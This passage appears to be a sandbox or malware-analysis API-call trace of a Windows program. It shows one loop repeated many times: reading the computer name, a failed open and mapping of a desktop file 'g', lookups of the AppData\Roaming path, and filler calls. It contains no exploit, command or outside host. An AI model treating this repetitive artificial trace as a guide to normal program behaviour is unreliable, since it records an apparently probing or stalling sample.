lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.112] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.112] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.112] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.112] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.112] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.112] CloseHandle (hObject=0x0) returned 0 [0223.112] CloseHandle (hObject=0xffffffff) returned 1 [0223.112] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.112] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.112] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.112] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.112] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.112] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.112] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.112] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.112] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.112] CloseHandle (hObject=0x0) returned 0 [0223.112] CloseHandle (hObject=0xffffffff) returned 1 [0223.112] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.113] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.113] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.113] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.113] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.113] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.113] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.113] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.113] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.113] CloseHandle (hObject=0x0) returned 0 [0223.113] CloseHandle (hObject=0xffffffff) returned 1 [0223.113] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.113] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.113] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.113] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.113] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.113] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.113] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.113] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.113] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.113] CloseHandle (hObject=0x0) returned 0 [0223.113] CloseHandle (hObject=0xffffffff) returned 1 [0223.113] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.114] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.114] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.114] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.114] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.114] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.114] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.114] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.114] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.114] CloseHandle (hObject=0x0) returned 0 [0223.114] CloseHandle (hObject=0xffffffff) returned 1 [0223.114] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.114] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.114] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.114] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.114] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.114] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.114] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.114] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.114] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.114] CloseHandle (hObject=0x0) returned 0 [0223.115] CloseHandle (hObject=0xffffffff) returned 1 [0223.115] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.115] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.115] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.115] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.115] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.115] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.115] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.115] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.115] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.119] CloseHandle (hObject=0x0) returned 0 [0223.119] CloseHandle (hObject=0xffffffff) returned 1 [0223.119] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.119] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.120] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.120] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.120] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.120] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.120] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.120] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.120] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.120] CloseHandle (hObject=0x0) returned 0 [0223.120] CloseHandle (hObject=0xffffffff) returned 1 [0223.120] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.120] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.120] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.120] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.120] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.120] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.120] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.120] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.120] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.120] CloseHandle (hObject=0x0) returned 0 [0223.121] CloseHandle (hObject=0xffffffff) returned 1 [0223.121] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.121] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.121] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.121] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.121] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.121] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.121] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.121] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.121] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.121] CloseHandle (hObject=0x0) returned 0 [0223.121] CloseHandle (hObject=0xffffffff) returned 1 [0223.121] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.121] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.121] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.121] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.121] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.121] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.121] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.121] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.122] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.122] CloseHandle (hObject=0x0) returned 0 [0223.122] CloseHandle (hObject=0xffffffff) returned 1 [0223.122] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.122] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.122] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.122] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.122] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.122] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.122] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.122] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.122] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.122] CloseHandle (hObject=0x0) returned 0 [0223.122] CloseHandle (hObject=0xffffffff) returned 1 [0223.122] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.122] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.122] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.122] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.122] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.122] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.123] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.123] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.123] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.123] CloseHandle (hObject=0x0) returned 0 [0223.123] CloseHandle (hObject=0xffffffff) returned 1 [0223.123] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.123] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.123] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.123] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.123] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.123] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.123] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.123] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.123] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.123] CloseHandle (hObject=0x0) returned 0 [0223.123] CloseHandle (hObject=0xffffffff) returned 1 [0223.123] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.123] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.123] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.123] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.123] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.124] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.124] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.124] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.124] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.124] CloseHandle (hObject=0x0) returned 0 [0223.124] CloseHandle (hObject=0xffffffff) returned 1 [0223.124] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.124] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.124] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.124] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.124] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.124] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.124] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.124] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.124] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.124] CloseHandle (hObject=0x0) returned 0 [0223.124] CloseHandle (hObject=0xffffffff) returned 1 [0223.124] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.124] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.124] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.125] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.125] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.125] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.125] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.125] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.125] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.125] CloseHandle (hObject=0x0) returned 0 [0223.125] CloseHandle (hObject=0xffffffff) returned 1 [0223.125] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.125] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.125] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.125] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.125] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff 